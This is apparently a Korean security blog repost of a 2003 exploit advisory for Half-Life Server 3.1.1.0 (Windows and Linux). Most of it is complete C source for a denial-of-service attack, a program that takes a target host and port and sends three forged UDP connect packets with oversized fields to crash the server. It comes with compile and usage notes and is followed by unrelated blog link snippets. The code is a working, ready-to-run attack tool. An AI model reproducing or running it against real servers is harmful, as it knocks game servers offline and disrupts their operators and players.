Half-Life 공격용 코드(위조 패킷)
발표날짜 :
2003.04.21
해당 시스템 :
-
Half-Life Server 3.1.1.0 (Windows and Linux)
문제점 :
이 공격코드는 half-life
서버에 대한 도스 공격용 코드이다.수세 리눅스 7.3 과 윈도 2K 에서 성공리에 테스트 되었으며 3개의 특별히 위조된 패킷을 보낸 결과 서버는
즉시 마비 되었으며 CPU 의 점유율도 100% 가 되는 것을 확인하였다.
또한 이 코드는 vc++ 에서 컴파일이 되는 것을 확인
했으며 리눅스에서도 별 이상 없이 되리라 믿는다.
WS2_32lib 를 링크해야 하는 것을 잊지 마시길..
공격법
/ 공격용 소스코드 :
-----------------Binary-----------
at www.delikon.de
----------------------------------
----------problem
description-----
Mail me or look at the arrow which shows you the problem
----------------------------------
---------patch--------------------
Hope that the half-life coders
have time to code one, but i think this have time till the next version of
halflife, because this is not a serious bug (only servers without
WON-authentication can be crash)
P.S Half-Life coders the bug is some
where in the SV_CheckForDuplicateNames() function
----------------------------------
*/
#include
<winsock2.h>
#include <windows.h>
#include
<ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
int startWinsock(void)
{
WSADATA wsa;
return
WSAStartup(MAKEWORD(2,0),&wsa);
}
int main(int argc, char
*argv[])
{
long rc;
SOCKET s,s2,s3,s4;
SOCKADDR_IN addr;
SOCKADDR_IN remoteAddr;
char buf[256];
char challenge[256];
int
remoteAddrLen=sizeof(SOCKADDR_IN);
char *connect1a;
char
get[]="\xff"
"\xff\xff\xff\x67\x65\x74\x63\x68\x61\x6c"
"\x6c\x65\x6e\x67\x65\x0a\x00";
char head[]="\xff"
"\xff\xff\xff\x63\x6f\x6e\x6e\x65\x63\x74"
"\x20\x34\x36\x20";
char connect1 []= "\x20"
"\x22\x5c\x70\x72\x6f\x74"
"\x5c\x32\x5c\x75\x6e\x69\x71\x75\x65\x5c"
"\x2d\x31\x5c\x72\x61\x77\x5c"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41"
"\x22"
//<---the problem
"\x22\x20\x22\x5c\x6d\x6f\x64"
"\x65\x6c\x5c\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x5c\x74\x6f\x70"
"\x63\x6f\x6c\x6f\x72\x5c\x31\x32\x38\x5c"
"\x62\x6f\x74\x74\x6f\x6d\x63\x6f\x6c\x6f"
"\x72\x5c\x31\x32\x38\x5c\x72\x61\x74\x65"
"\x5c\x39\x39\x39\x39\x2e\x30\x30\x30\x30"
"\x30\x30\x5c\x63\x6c\x5f\x75\x70\x64\x61"
"\x74\x65\x72\x61\x74\x65\x5c\x32\x30\x5c"
"\x63\x6c\x5f\x6c\x77\x5c\x31\x5c\x63\x6c"
"\x5f\x6c\x63\x5c\x31\x5c\x63\x6c\x5f\x64"
"\x6c\x6d\x61\x78\x5c\x31\x32\x38\x5c\x68"
"\x75\x64\x5f\x63\x6c\x61\x73\x73\x61\x75"
"\x74\x6f\x6b\x69\x6c\x6c\x5c\x31\x5c\x6e"
"\x61\x6d\x65\x5c\x74\x65\x73\x74\x22\x0a";
memset(buf,0,strlen(buf));
memset(challenge,0,strlen(challenge));
if (argc<3)
{
printf("\n%s <Remote host>
<Remote port>\n", argv[0]);
exit(1);
}
else
{
printf("Denial-of-Service exploit against half-life servers version
3.1.1.0\n");
printf("Found and coded by Delikon | 7.4.03 | www.delikon.de | ich@delikon.de \n");
}
rc=startWinsock();
if(rc!=0)
{
printf("Error
: startWinsock, error code: %d\n",rc);
return 1;
}
s=socket(AF_INET,SOCK_DGRAM,0);
if(s==INVALID_SOCKET)
{
printf("Error: couldn't create the socket , error code:
%d\n",WSAGetLastError());
return 1;
}
addr.sin_family=AF_INET;
addr.sin_addr.s_addr
=inet_addr(argv[1]);
addr.sin_port=htons(atoi(argv[2]));
rc=sendto(s,get,strlen(get),0,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
if(rc==SOCKET_ERROR)
{
printf("Fehler: sendto, fehler code:
%d\n",WSAGetLastError());
return 1;
}
rc=recvfrom(s,buf,256,0,(SOCKADDR*)&remoteAddr,&remoteAddrLen);
strcpy(challenge,buf+14);
challenge[strlen(challenge)-3]='\0';
printf("Challenge:%s\n",challenge);
closesocket(s);
connect1a=(char *)malloc
(sizeof(head)+sizeof(challenge)+sizeof(connect1));
strcpy(connect1a,head);
strcat(connect1a,challenge);
strcat(connect1a,connect1);
s2=socket(AF_INET,SOCK_DGRAM,0);
rc=sendto(s2,connect1a,strlen(connect1a),0,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
Sleep(120);
closesocket(s2);
s3=socket(AF_INET,SOCK_DGRAM,0);
rc=sendto(s3,connect1a,strlen(connect1a),0,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
Sleep(120);
closesocket(s3);
s4=socket(AF_INET,SOCK_DGRAM,0);
rc=sendto(s4,connect1a,strlen(connect1a),0,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
Sleep(120);
closesocket(s4);
printf("\n\n Server is down!!! ???
or ?? check it ;-)\n\n");
exit(1);
}
출처: http://www.hackersnews.org/
실용적인 디지털 포렌식 기법과 법률 이슈 정리. Linux, UNIX, Python, 임베디드 장치 개발 등의 강좌 수록. Blockchain, FinTech, IoT 등 최신 IT 트렌드와 관련된 취미 자료를 수집하고, 보안 인식 문화 개선을 위한 정보보호 관련 자료와 일상생활 팁들을 소개.
홈페이지 jQuery 라이브러리에서 CVE-2019-11358 취약점 패치 여부 확인 방법
현재 홈페이지에서 사용 중인 jQuery 라이브러리가 CVE-2019-11358 취약점 패치를 적용했는지 확인하는 방법은 다음과 같습니다. 1. jQuery 버전 확인 홈페이지 소스 코드를 확인하여 jQuery 라이브러리 버전을 직접 확인합니다. 웹 ...
-
뉴스출처 : http://news.naver.com/main/read.nhn?mode=LSD&mid=sec&oid=023&aid=0002991158&sid1=001 내 배우자가 바람을 피우는 것이 확실할까. 심증...
-
PHPSCHOOL ( http://www.phpschool.com ) 국내 1위의 PHP 개발자 커뮤니티 사이트이다. PHP Builder ( http://www.phpbuilder.com ) PHP 최고 사이트라고 해도 과언이 아니며, 새로운 P...